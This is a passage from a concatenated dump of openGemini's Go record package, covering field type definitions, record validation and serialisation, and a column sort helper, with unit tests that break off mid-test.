238 | func TestColVal_AppendAll(t *testing.T) {
239 | src := &ColVal{
240 | Val: []byte{1, 2, 3},
241 | Offset: []uint32{0, 1, 2},
242 | Bitmap: []byte{0x03},
243 | Len: 2,
244 | NilCount: 1,
245 | }
246 |
247 | dst := &ColVal{}
248 | dst.appendAll(src)
249 |
250 | assert.Equal(t, src.Val, dst.Val)
251 | assert.Equal(t, src.Offset, dst.Offset)
252 | assert.Equal(t, src.Bitmap, dst.Bitmap)
253 | assert.Equal(t, src.Len, dst.Len)
254 | assert.Equal(t, src.NilCount, dst.NilCount)
255 | }
256 |
--------------------------------------------------------------------------------
/lib/record/field.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "strings"
19 | )
20 |
21 | const (
22 | FieldTypeUnknown = 0
23 | FieldTypeInt = 1
24 | FieldTypeUInt = 2
25 | FieldTypeFloat = 3
26 | FieldTypeString = 4
27 | FieldTypeBoolean = 5
28 | FieldTypeTag = 6
29 | FieldTypeLast = 7
30 | )
31 |
32 | var FieldTypeName = map[int]string{
33 | FieldTypeUnknown: "Unknown",
34 | FieldTypeInt: "Integer",
35 | FieldTypeUInt: "Unsigned",
36 | FieldTypeFloat: "Float",
37 | FieldTypeString: "String",
38 | FieldTypeBoolean: "Boolean",
39 | FieldTypeTag: "Tag",
40 | FieldTypeLast: "Unknown",
41 | }
42 |
43 | type Field struct {
44 | Type int
45 | Name string
46 | }
47 |
48 | func (f *Field) String() string {
49 | var sb strings.Builder
50 | sb.WriteString(f.Name)
51 | sb.WriteString(FieldTypeName[f.Type])
52 | return sb.String()
53 | }
54 |
55 | type Schemas []Field
56 |
57 | func (sh *Schemas) String() string {
58 | sb := strings.Builder{}
59 | for _, f := range *sh {
60 | sb.WriteString(f.String() + "\n")
61 | }
62 | return sb.String()
63 | }
64 |
65 | func (f *Field) Marshal(buf []byte) ([]byte, error) {
66 | buf = AppendString(buf, f.Name)
67 | buf = AppendInt(buf, f.Type)
68 | return buf, nil
69 | }
70 |
71 | func (f *Field) Size() int {
72 | size := 0
73 | size += SizeOfString(f.Name)
74 | size += SizeOfInt()
75 | return size
76 | }
77 |
--------------------------------------------------------------------------------
/lib/record/field_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/assert"
21 | )
22 |
23 | func TestFieldTypeName(t *testing.T) {
24 | tests := []struct {
25 | fieldType int
26 | expected string
27 | }{
28 | {FieldTypeUnknown, "Unknown"},
29 | {FieldTypeInt, "Integer"},
30 | {FieldTypeUInt, "Unsigned"},
31 | {FieldTypeFloat, "Float"},
32 | {FieldTypeString, "String"},
33 | {FieldTypeBoolean, "Boolean"},
34 | {FieldTypeTag, "Tag"},
35 | {FieldTypeLast, "Unknown"},
36 | {999, "Unknown"}, // Invalid type should return "Unknown"
37 | }
38 |
39 | for _, tt := range tests {
40 | t.Run(tt.expected, func(t *testing.T) {
41 | name, exists := FieldTypeName[tt.fieldType]
42 | if tt.fieldType == 999 {
43 | assert.Empty(t, name)
44 | assert.False(t, exists)
45 | } else {
46 | assert.Equal(t, tt.expected, name)
47 | assert.True(t, exists)
48 | }
49 | })
50 | }
51 | }
52 |
53 | func TestField_String(t *testing.T) {
54 | tests := []struct {
55 | name string
56 | field Field
57 | expected string
58 | }{
59 | {
60 | name: "integer field",
61 | field: Field{Type: FieldTypeInt, Name: "test_int"},
62 | expected: "test_intInteger",
63 | },
64 | {
65 | name: "string field",
66 | field: Field{Type: FieldTypeString, Name: "test_str"},
67 | expected: "test_strString",
68 | },
69 | {
70 | name: "unknown type field",
71 | field: Field{Type: 999, Name: "test_unknown"},
72 | expected: "test_unknown",
73 | },
74 | {
75 | name: "empty name field",
76 | field: Field{Type: FieldTypeFloat, Name: ""},
77 | expected: "Float",
78 | },
79 | }
80 |
81 | for _, tt := range tests {
82 | t.Run(tt.name, func(t *testing.T) {
83 | result := tt.field.String()
84 | assert.Equal(t, tt.expected, result)
85 | })
86 | }
87 | }
88 |
89 | func TestSchemas_String(t *testing.T) {
90 | tests := []struct {
91 | name string
92 | schemas Schemas
93 | expected string
94 | }{
95 | {
96 | name: "multiple fields",
97 | schemas: Schemas{
98 | {Type: FieldTypeInt, Name: "field1"},
99 | {Type: FieldTypeString, Name: "field2"},
100 | },
101 | expected: "field1Integer\nfield2String\n",
102 | },
103 | {
104 | name: "empty schemas",
105 | schemas: Schemas{},
106 | expected: "",
107 | },
108 | {
109 | name: "single field",
110 | schemas: Schemas{
111 | {Type: FieldTypeFloat, Name: "field1"},
112 | },
113 | expected: "field1Float\n",
114 | },
115 | }
116 |
117 | for _, tt := range tests {
118 | t.Run(tt.name, func(t *testing.T) {
119 | result := tt.schemas.String()
120 | assert.Equal(t, tt.expected, result)
121 | })
122 | }
123 | }
124 |
125 | func TestField_Marshal(t *testing.T) {
126 | tests := []struct {
127 | name string
128 | field Field
129 | initBuf []byte
130 | expectLen int
131 | }{
132 | {
133 | name: "empty field",
134 | field: Field{Type: FieldTypeInt, Name: ""},
135 | initBuf: []byte{},
136 | expectLen: 2 + SizeOfInt(), // 2 bytes for empty string length + int size
137 | },
138 | {
139 | name: "normal field",
140 | field: Field{Type: FieldTypeString, Name: "test"},
141 | initBuf: []byte{1, 2, 3},
142 | expectLen: 3 + 2 + 4 + SizeOfInt(), // initial 3 bytes + 2 bytes for string length + 4 bytes for "test" + int size
143 | },
144 | {
145 | name: "with initial buffer",
146 | field: Field{Type: FieldTypeFloat, Name: "abc"},
147 | initBuf: []byte{9, 9, 9},
148 | expectLen: 3 + 2 + 3 + SizeOfInt(), // initial 3 bytes + 2 bytes for string length + 3 bytes for "abc" + int size
149 | },
150 | }
151 |
152 | for _, tt := range tests {
153 | t.Run(tt.name, func(t *testing.T) {
154 | result, err := tt.field.Marshal(tt.initBuf)
155 | assert.NoError(t, err)
156 | assert.Equal(t, tt.expectLen, len(result))
157 |
158 | // Verify the initial buffer is preserved
159 | if len(tt.initBuf) > 0 {
160 | assert.Equal(t, tt.initBuf, result[:len(tt.initBuf)])
161 | }
162 | })
163 | }
164 | }
165 |
166 | func TestField_Size(t *testing.T) {
167 | tests := []struct {
168 | name string
169 | field Field
170 | expected int
171 | }{
172 | {
173 | name: "empty name",
174 | field: Field{Type: FieldTypeInt, Name: ""},
175 | expected: SizeOfString("") + SizeOfInt(),
176 | },
177 | {
178 | name: "normal field",
179 | field: Field{Type: FieldTypeString, Name: "test"},
180 | expected: SizeOfString("test") + SizeOfInt(),
181 | },
182 | {
183 | name: "long name",
184 | field: Field{Type: FieldTypeFloat, Name: "very_long_field_name"},
185 | expected: SizeOfString("very_long_field_name") + SizeOfInt(),
186 | },
187 | }
188 |
189 | for _, tt := range tests {
190 | t.Run(tt.name, func(t *testing.T) {
191 | size := tt.field.Size()
192 | assert.Equal(t, tt.expected, size)
193 | })
194 | }
195 | }
196 |
--------------------------------------------------------------------------------
/lib/record/record.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "fmt"
19 | "sort"
20 | "strings"
21 | )
22 |
23 | const (
24 | TimeField = "time"
25 | )
26 |
27 | type Record struct {
28 | ColVals []ColVal
29 | Schema Schemas
30 | }
31 |
32 | func NewRecordBuilder(schema []Field) *Record {
33 | return &Record{
34 | Schema: schema,
35 | ColVals: make([]ColVal, len(schema)),
36 | }
37 | }
38 |
39 | func (rec *Record) Len() int {
40 | return len(rec.Schema)
41 | }
42 |
43 | func (rec *Record) Swap(i, j int) {
44 | rec.Schema[i], rec.Schema[j] = rec.Schema[j], rec.Schema[i]
45 | rec.ColVals[i], rec.ColVals[j] = rec.ColVals[j], rec.ColVals[i]
46 | }
47 |
48 | func (rec *Record) Less(i, j int) bool {
49 | if rec.Schema[i].Name == TimeField {
50 | return false
51 | } else if rec.Schema[j].Name == TimeField {
52 | return true
53 | } else {
54 | return rec.Schema[i].Name < rec.Schema[j].Name
55 | }
56 | }
57 |
58 | func (rec *Record) Column(i int) *ColVal {
59 | return &rec.ColVals[i]
60 | }
61 |
62 | func (rec *Record) String() string {
63 | var sb strings.Builder
64 |
65 | for i, f := range rec.Schema {
66 | var line string
67 | switch f.Type {
68 | case FieldTypeFloat:
69 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).FloatValues())
70 | case FieldTypeString, FieldTypeTag:
71 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).StringValues(nil))
72 | case FieldTypeBoolean:
73 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).BooleanValues())
74 | case FieldTypeInt:
75 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).IntegerValues())
76 | }
77 | sb.WriteString(line)
78 | }
79 |
80 | return sb.String()
81 | }
82 |
83 | func CheckRecord(rec *Record) error {
84 | colN := len(rec.Schema)
85 | if colN <= 1 || rec.Schema[colN-1].Name != TimeField {
86 | return fmt.Errorf("invalid schema: %v", rec.Schema)
87 | }
88 |
89 | if rec.ColVals[colN-1].NilCount != 0 {
90 | return fmt.Errorf("invalid colvals: %v", rec.String())
91 | }
92 |
93 | for i := 1; i < colN; i++ {
94 | if rec.Schema[i].Name == rec.Schema[i-1].Name {
95 | return fmt.Errorf("same schema; idx: %d, name: %v", i, rec.Schema[i].Name)
96 | }
97 | }
98 | isOrderSchema := true
99 | for i := 0; i < colN-1; i++ {
100 | f := &rec.Schema[i]
101 | col1, col2 := &rec.ColVals[i], &rec.ColVals[i+1]
102 |
103 | if col1.Len != col2.Len {
104 | return fmt.Errorf("invalid colvals length: %v", rec.String())
105 | }
106 | isOrderSchema = CheckSchema(i, rec, isOrderSchema)
107 |
108 | // check string data length
109 | if f.Type == FieldTypeString || f.Type == FieldTypeTag {
110 | continue
111 | }
112 |
113 | // check data length
114 | expLen := typeSize[f.Type] * (col1.Len - col1.NilCount)
115 | if expLen != len(col1.Val) {
116 | return fmt.Errorf("the length of rec.ColVals[%d].val is incorrect. exp: %d, got: %d\n%s",
117 | i, expLen, len(col1.Val), rec.String())
118 | }
119 | }
120 | if !isOrderSchema {
121 | sort.Sort(rec)
122 | }
123 |
124 | return nil
125 | }
126 |
127 | func CheckSchema(i int, rec *Record, isOrderSchema bool) bool {
128 | if isOrderSchema && i > 0 && rec.Schema[i-1].Name >= rec.Schema[i].Name {
129 | fmt.Printf("record schema is invalid; idx i-1: %d, name: %v, idx i: %d, name: %v\n",
130 | i-1, rec.Schema[i-1].Name, i, rec.Schema[i].Name)
131 | return false
132 | }
133 | return isOrderSchema
134 | }
135 |
136 | func (rec *Record) Reset() {
137 | rec.Schema = rec.Schema[:0]
138 | rec.ColVals = rec.ColVals[:0]
139 | }
140 |
141 | func (rec *Record) ReserveColVal(size int) {
142 | // resize col val
143 | colLen := len(rec.ColVals)
144 | colCap := cap(rec.ColVals)
145 | remain := colCap - colLen
146 | if delta := size - remain; delta > 0 {
147 | rec.ColVals = append(rec.ColVals[:colCap], make([]ColVal, delta)...)
148 | }
149 | rec.ColVals = rec.ColVals[:colLen+size]
150 | rec.InitColVal(colLen, colLen+size)
151 | }
152 |
153 | func (rec *Record) InitColVal(start, end int) {
154 | for i := start; i < end; i++ {
155 | cv := &rec.ColVals[i]
156 | cv.Init()
157 | }
158 | }
159 |
160 | func (rec *Record) RowNums() int {
161 | if rec == nil || len(rec.ColVals) == 0 {
162 | return 0
163 | }
164 |
165 | return rec.ColVals[len(rec.ColVals)-1].Len
166 | }
167 |
168 | func (rec *Record) Times() []int64 {
169 | if len(rec.ColVals) == 0 {
170 | return nil
171 | }
172 | cv := rec.ColVals[len(rec.ColVals)-1]
173 | return cv.IntegerValues()
174 | }
175 |
176 | func (rec *Record) AppendTime(time ...int64) {
177 | for _, t := range time {
178 | rec.ColVals[len(rec.ColVals)-1].AppendInteger(t)
179 | }
180 | }
181 |
182 | func (rec *Record) Marshal(buf []byte) ([]byte, error) {
183 | var err error
184 | // Schema
185 | buf = AppendUint32(buf, uint32(len(rec.Schema)))
186 | for i := 0; i < len(rec.Schema); i++ {
187 | buf = AppendUint32(buf, uint32(rec.Schema[i].Size()))
188 | buf, err = rec.Schema[i].Marshal(buf)
189 | if err != nil {
190 | return nil, err
191 | }
192 | }
193 |
194 | // ColVal
195 | buf = AppendUint32(buf, uint32(len(rec.ColVals)))
196 | for i := 0; i < len(rec.ColVals); i++ {
197 | buf = AppendUint32(buf, uint32(rec.ColVals[i].Size()))
198 | buf, err = rec.ColVals[i].Marshal(buf)
199 | if err != nil {
200 | return nil, err
201 | }
202 | }
203 | return buf, nil
204 | }
205 |
--------------------------------------------------------------------------------
/lib/record/sort.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "sort"
19 | "sync"
20 | )
21 |
22 | type ColumnSortHelper struct {
23 | aux SortAux
24 | nilCount NilCount
25 | times []int64
26 | }
27 |
28 | type NilCount struct {
29 | value []int
30 | total int
31 | }
32 |
33 | func (nc *NilCount) init(total, size int) {
34 | nc.total = total
35 | if total == 0 {
36 | return
37 | }
38 |
39 | if cap(nc.value) < size {
40 | nc.value = make([]int, size)
41 | }
42 | nc.value = nc.value[:size]
43 | nc.value[0] = 0
44 | }
45 |
46 | var columnSortHelperPool sync.Pool
47 |
48 | func NewColumnSortHelper() *ColumnSortHelper {
49 | hlp, ok := columnSortHelperPool.Get().(*ColumnSortHelper)
50 | if !ok || hlp == nil {
51 | hlp = &ColumnSortHelper{}
52 | }
53 | return hlp
54 | }
55 |
56 | type SortAux struct {
57 | RowIds []int32
58 | Times []int64
59 | sections []int
60 | SortRec *Record
61 | }
62 |
63 | func (aux *SortAux) Len() int {
64 | return len(aux.RowIds)
65 | }
66 |
67 | func (aux *SortAux) Less(i, j int) bool {
68 | return aux.Times[i] < aux.Times[j]
69 | }
70 |
71 | func (aux *SortAux) Swap(i, j int) {
72 | aux.Times[i], aux.Times[j] = aux.Times[j], aux.Times[i]
73 | aux.RowIds[i], aux.RowIds[j] = aux.RowIds[j], aux.RowIds[i]
74 | }
75 |
76 | func (aux *SortAux) Init(times []int64) {
77 | aux.init(times)
78 | }
79 |
80 | func (aux *SortAux) init(times []int64) {
81 | size := len(times)
82 | if cap(aux.Times) < size {
83 | aux.Times = make([]int64, size)
84 | }
85 | aux.Times = aux.Times[:size]
86 |
87 | if cap(aux.RowIds) < size {
88 | aux.RowIds = make([]int32, size)
89 | }
90 | aux.RowIds = aux.RowIds[:size]
91 |
92 | for i := 0; i < size; i++ {
93 | aux.RowIds[i] = int32(i)
94 | aux.Times[i] = times[i]
95 | }
96 | }
97 |
98 | func (rec *Record) ResetWithSchema(schema Schemas) {
99 | rec.Reset()
100 | rec.Schema = schema
101 | rec.ReserveColVal(len(rec.Schema))
102 | }
103 |
104 | func (aux *SortAux) InitRecord(schemas Schemas) {
105 | if aux.SortRec == nil {
106 | aux.SortRec = NewRecordBuilder(schemas)
107 | } else {
108 | aux.SortRec.ResetWithSchema(schemas)
109 | }
110 | }
111 |
112 | func (aux *SortAux) InitSections() {
113 | times := aux.Times
114 | rows := aux.RowIds
115 | sections := aux.sections[:0]
116 | start := 0
117 |
118 | for i := 0; i < len(times)-1; i++ {
119 | if (rows[i+1]-rows[i]) != 1 || times[i] == times[i+1] {
120 | sections = append(sections, start, i)
121 | start = i + 1
122 | continue
123 | }
124 | }
125 | sections = append(sections, start, len(rows)-1)
126 | aux.sections = sections
127 | }
128 |
129 | func (aux *SortAux) RowIndex(i int) (int, int, int) {
130 | start, end := aux.sections[i], aux.sections[i+1]
131 | rowStat, rowEnd := int(aux.RowIds[start]), int(aux.RowIds[end]+1)
132 | return start, rowStat, rowEnd
133 | }
134 |
135 | func (aux *SortAux) SectionLen() int {
136 | return len(aux.sections)
137 | }
138 |
139 | func (h *ColumnSortHelper) Sort(rec *Record) *Record {
140 | if rec.RowNums() == 0 {
141 | return rec
142 | }
143 |
144 | aux := &h.aux
145 | aux.InitRecord(rec.Schema)
146 | aux.Init(rec.Times())
147 | sort.Stable(aux)
148 | h.times = h.times[:0]
149 |
150 | return h.sort(rec, aux)
151 | }
152 |
153 | func (h *ColumnSortHelper) sort(rec *Record, aux *SortAux) *Record {
154 | aux.InitSections()
155 | times := aux.Times
156 |
157 | for i := 0; i < rec.Len()-1; i++ {
158 | col := rec.Column(i)
159 | h.initNilCount(col, len(times)+1)
160 | h.sortColumn(col, aux, i)
161 | }
162 |
163 | auxRec := aux.SortRec
164 | auxRec.AppendTime(times[0])
165 | for i := 1; i < len(times); i++ {
166 | if times[i] != times[i-1] {
167 | auxRec.AppendTime(times[i])
168 | }
169 | }
170 |
171 | rec, aux.SortRec = aux.SortRec, rec
172 | return rec
173 | }
174 |
175 | func (h *ColumnSortHelper) initNilCount(col *ColVal, size int) {
176 | nc := &h.nilCount
177 | nc.init(col.NilCount, size)
178 | if col.NilCount == 0 {
179 | return
180 | }
181 |
182 | for j := 1; j < size; j++ {
183 | nc.value[j] = nc.value[j-1]
184 | if col.IsNil(j - 1) {
185 | nc.value[j]++
186 | }
187 | }
188 | }
189 |
190 | func (h *ColumnSortHelper) sortColumn(col *ColVal, aux *SortAux, n int) {
191 | size := aux.SectionLen()
192 | times := aux.Times
193 | dst := aux.SortRec.Column(n)
194 | typ := aux.SortRec.Schema[n].Type
195 |
196 | for i := 0; i < size; i += 2 {
197 | idx, rowStat, rowEnd := aux.RowIndex(i)
198 |
199 | if idx > 0 && times[idx] == times[idx-1] {
200 | h.replace(col, dst, typ, rowStat)
201 | rowStat++
202 | }
203 |
204 | if rowStat >= rowEnd {
205 | continue
206 | }
207 |
208 | dst.AppendWithNilCount(col, typ, rowStat, rowEnd, &h.nilCount)
209 | }
210 | }
211 |
212 | func (h *ColumnSortHelper) replace(col *ColVal, aux *ColVal, typ, idx int) {
213 | if col.IsNil(idx) {
214 | return
215 | }
216 |
217 | aux.deleteLast(typ)
218 | aux.AppendWithNilCount(col, typ, idx, idx+1, &h.nilCount)
219 | }
220 |
221 | func (cv *ColVal) deleteLast(typ int) {
222 | if cv.Len == 0 {
223 | return
224 | }
225 |
226 | isNil := cv.IsNil(cv.Len - 1)
227 | cv.Len--
228 | if cv.Len%8 == 0 {
229 | cv.Bitmap = cv.Bitmap[:len(cv.Bitmap)-1]
230 | }
231 |
232 | defer func() {
233 | if typ == FieldTypeString {
234 | cv.Offset = cv.Offset[:cv.Len]
235 | }
236 | }()
237 |
238 | if isNil {
239 | cv.NilCount--
240 | return
241 | }
242 |
243 | size := typeSize[typ]
244 | if typ == FieldTypeString {
245 | size = len(cv.Val) - int(cv.Offset[cv.Len])
246 | }
247 | cv.Val = cv.Val[:len(cv.Val)-size]
248 | }
249 |
250 | // AppendWithNilCount modified from method "ColVal.Append"
251 | // Compared with method "ColVal.Append", the number of nulls is calculated in advance.
252 | func (cv *ColVal) AppendWithNilCount(src *ColVal, colType, start, end int, nc *NilCount) {
253 | if end <= start || src.Len == 0 {
254 | return
255 | }
256 |
257 | // append all data
258 | if end-start == src.Len && cv.Len == 0 {
259 | cv.appendAll(src)
260 | return
261 | }
262 |
263 | startOffset, endOffset := start, end
264 | // Number of null values to be subtracted from the offset
265 | if nc.total > 0 {
266 | startOffset = start - nc.value[start]
267 | endOffset = end - nc.value[end]
268 | }
269 |
270 | switch colType {
271 | case FieldTypeString, FieldTypeTag:
272 | cv.appendString(src, start, end)
273 | case FieldTypeInt, FieldTypeFloat, FieldTypeBoolean:
274 | size := typeSize[colType]
275 | cv.Val = append(cv.Val, src.Val[startOffset*size:endOffset*size]...)
276 | default:
277 | panic("error type")
278 | }
279 |
280 | cv.appendBitmap(src.Bitmap, src.BitMapOffset, src.Len, start, end)
281 | cv.Len += end - start
282 | cv.NilCount += end - start - (endOffset - startOffset)
283 | }
284 |
285 | func (cv *ColVal) appendBitmap(bm []byte, bitOffset int, rows int, start, end int) {
286 | // fast path
287 | bitmap, bitMapOffset := subBitmapBytes(bm, bitOffset, rows)
288 | if (cv.BitMapOffset+cv.Len)%8 == 0 && (start+bitMapOffset)%8 == 0 {
289 | if (end+bitMapOffset)%8 == 0 {
290 | cv.Bitmap = append(cv.Bitmap, bitmap[(start+bitMapOffset)/8:(end+bitMapOffset)/8]...)
291 | } else {
292 | cv.Bitmap = append(cv.Bitmap, bitmap[(start+bitMapOffset)/8:(end+bitMapOffset)/8+1]...)
293 | }
294 | return
295 | }
296 | // slow path
297 | dstRowIdx := cv.BitMapOffset + cv.Len
298 | addSize := (dstRowIdx+end-start+7)/8 - (dstRowIdx+7)/8
299 | if addSize > 0 {
300 | bLen := len(cv.Bitmap)
301 | bCap := cap(cv.Bitmap)
302 | remain := bCap - bLen
303 | if delta := addSize - remain; delta > 0 {
304 | cv.Bitmap = append(cv.Bitmap[:bCap], make([]byte, delta)...)
305 | }
306 | cv.Bitmap = cv.Bitmap[:bLen+addSize]
307 | }
308 |
309 | for i := 0; i < end-start; i++ {
310 | cvIndex := dstRowIdx + i
311 | srcIndex := bitMapOffset + start + i
312 | if (bitmap[srcIndex>>3] & BitMask[srcIndex&0x07]) == 0 {
313 | cv.Bitmap[cvIndex>>3] &= FlippedBitMask[cvIndex&0x07]
314 | } else {
315 | cv.Bitmap[cvIndex>>3] |= BitMask[cvIndex&0x07]
316 | }
317 | }
318 | }
319 |
--------------------------------------------------------------------------------
/lib/record/sort_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/assert"
21 | )
22 |
23 | func TestNilCount(t *testing.T) {
24 | nc := &NilCount{}
25 |
26 | t.Run("init with zero total", func(t *testing.T) {
27 | nc.init(0, 5)
28 | assert.Equal(t, 0, nc.total)
29 | assert.Equal(t, 0, len(nc.value))
30 | })
31 |
32 | t.Run("init with values", func(t *testing.T) {
33 | nc.init(10, 5)
34 | assert.Equal(t, 10, nc.total)
35 | assert.Equal(t, 5, len(nc.value))
36 | assert.Equal(t, 0, nc.value[0])
37 | })
38 |
39 | t.Run("reuse existing slice", func(t *testing.T) {
40 | originalCap := cap(nc.value)
41 | nc.init(8, 3)
42 | assert.Equal(t, originalCap, cap(nc.value))
43 | assert.Equal(t, 3, len(nc.value))
44 | })
45 | }
46 |
47 | func TestSortAux(t *testing.T) {
48 | aux := &SortAux{}
49 |
50 | t.Run("init", func(t *testing.T) {
51 | times := []int64{100, 200, 150}
52 | aux.Init(times)
53 |
54 | assert.Equal(t, len(times), len(aux.Times))
55 | assert.Equal(t, len(times), len(aux.RowIds))
56 |
57 | // Check if RowIds are initialized correctly
58 | for i := 0; i < len(times); i++ {
59 | assert.Equal(t, int32(i), aux.RowIds[i])
60 | }
61 |
62 | // Check if Times are copied correctly
63 | assert.Equal(t, times, aux.Times)
64 | })
65 |
66 | t.Run("sort interface implementation", func(t *testing.T) {
67 | aux.Times = []int64{300, 100, 200}
68 | aux.RowIds = []int32{0, 1, 2}
69 |
70 | // Test Less
71 | assert.False(t, aux.Less(0, 1))
72 | assert.True(t, aux.Less(1, 2))
73 |
74 | // Test Len
75 | assert.Equal(t, 3, aux.Len())
76 |
77 | // Test Swap
78 | aux.Swap(0, 1)
79 | assert.Equal(t, int64(100), aux.Times[0])
80 | assert.Equal(t, int64(300), aux.Times[1])
81 | assert.Equal(t, int32(1), aux.RowIds[0])
82 | assert.Equal(t, int32(0), aux.RowIds[1])
83 | })
84 |
85 | t.Run("init sections", func(t *testing.T) {
86 | aux.Times = []int64{100, 100, 200, 300, 300}
87 | aux.RowIds = []int32{0, 1, 2, 3, 4}
88 | aux.sections = make([]int, 0)
89 |
90 | aux.InitSections()
91 |
92 | // Should create sections for same timestamps and non-consecutive RowIds
93 | assert.True(t, len(aux.sections) > 0)
94 | })
95 | }
96 |
97 | func TestColumnSortHelper(t *testing.T) {
98 | t.Run("new helper", func(t *testing.T) {
99 | hlp := NewColumnSortHelper()
100 | assert.NotNil(t, hlp)
101 | })
102 |
103 | t.Run("sort empty record", func(t *testing.T) {
104 | hlp := NewColumnSortHelper()
105 | rec := &Record{}
106 | result := hlp.Sort(rec)
107 | assert.Equal(t, rec, result)
108 | })
109 |
110 | t.Run("sort record with data", func(t *testing.T) {
111 | hlp := NewColumnSortHelper()
112 |
113 | // Create a test record with some data
114 | schema := []Field{
115 | {Name: "field1", Type: FieldTypeInt},
116 | {Name: "field2", Type: FieldTypeFloat},
117 | }
118 | rec := NewRecordBuilder(schema)
119 |
120 | // Add some timestamps
121 | rec.AppendTime(200)
122 | rec.AppendTime(100)
123 | rec.AppendTime(300)
124 |
125 | // Sort the record
126 | sorted := hlp.Sort(rec)
127 |
128 | // Verify timestamps are sorted
129 | times := sorted.Times()
130 | assert.Equal(t, int64(100), times[0])
131 | assert.Equal(t, int64(200), times[1])
132 | assert.Equal(t, int64(300), times[2])
133 | })
134 | }
135 |
136 | func TestColValDeleteLast(t *testing.T) {
137 | t.Run("delete from empty column", func(t *testing.T) {
138 | cv := &ColVal{}
139 | cv.deleteLast(FieldTypeInt)
140 | assert.Equal(t, 0, cv.Len)
141 | })
142 |
143 | t.Run("delete int value", func(t *testing.T) {
144 | cv := &ColVal{
145 | Val: make([]byte, 8),
146 | Len: 1,
147 | Bitmap: []byte{0xFF}, // not nil
148 | }
149 | cv.deleteLast(FieldTypeInt)
150 | assert.Equal(t, 0, cv.Len)
151 | assert.Equal(t, 0, len(cv.Val))
152 | })
153 |
154 | t.Run("delete nil value", func(t *testing.T) {
155 | cv := &ColVal{
156 | Val: make([]byte, 8),
157 | Len: 1,
158 | Bitmap: []byte{0x00}, // nil value
159 | NilCount: 1,
160 | }
161 | cv.deleteLast(FieldTypeInt)
162 | assert.Equal(t, 0, cv.Len)
163 | assert.Equal(t, 0, cv.NilCount)
164 | })
165 |
166 | t.Run("delete string value", func(t *testing.T) {
167 | cv := &ColVal{
168 | Val: []byte("test"),
169 | Len: 1,
170 | Bitmap: []byte{0xFF},
171 | Offset: []uint32{0, 4},
172 | }
173 | cv.deleteLast(FieldTypeString)
174 | assert.Equal(t, 0, cv.Len)
175 | assert.Equal(t, 0, len(cv.Val))
176 | assert.Equal(t, 0, len(cv.Offset))
177 | })
178 | }
179 |
180 | func TestAppendWithNilCount(t *testing.T) {
181 | t.Run("append int values", func(t *testing.T) {
182 | src := &ColVal{
183 | Val: []byte{1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0},
184 | Len: 2,
185 | Bitmap: []byte{0xFF}, // no nil values
186 | }
187 | dst := &ColVal{}
188 | nc := &NilCount{total: 0}
189 |
190 | dst.AppendWithNilCount(src, FieldTypeInt, 0, 2, nc)
191 | assert.Equal(t, 2, dst.Len)
192 | assert.Equal(t, 16, len(dst.Val))
193 | assert.Equal(t, 0, dst.NilCount)
194 | })
195 |
196 | t.Run("append with nil values", func(t *testing.T) {
197 | src := &ColVal{
198 | Val: []byte{1, 0, 0, 0, 0, 0, 0, 0},
199 | Len: 2,
200 | Bitmap: []byte{0x01}, // second value is nil
201 | NilCount: 1,
202 | }
203 | dst := &ColVal{}
204 | nc := &NilCount{
205 | total: 1,
206 | value: []int{0, 1},
207 | }
208 |
209 | dst.AppendWithNilCount(src, FieldTypeInt, 0, 2, nc)
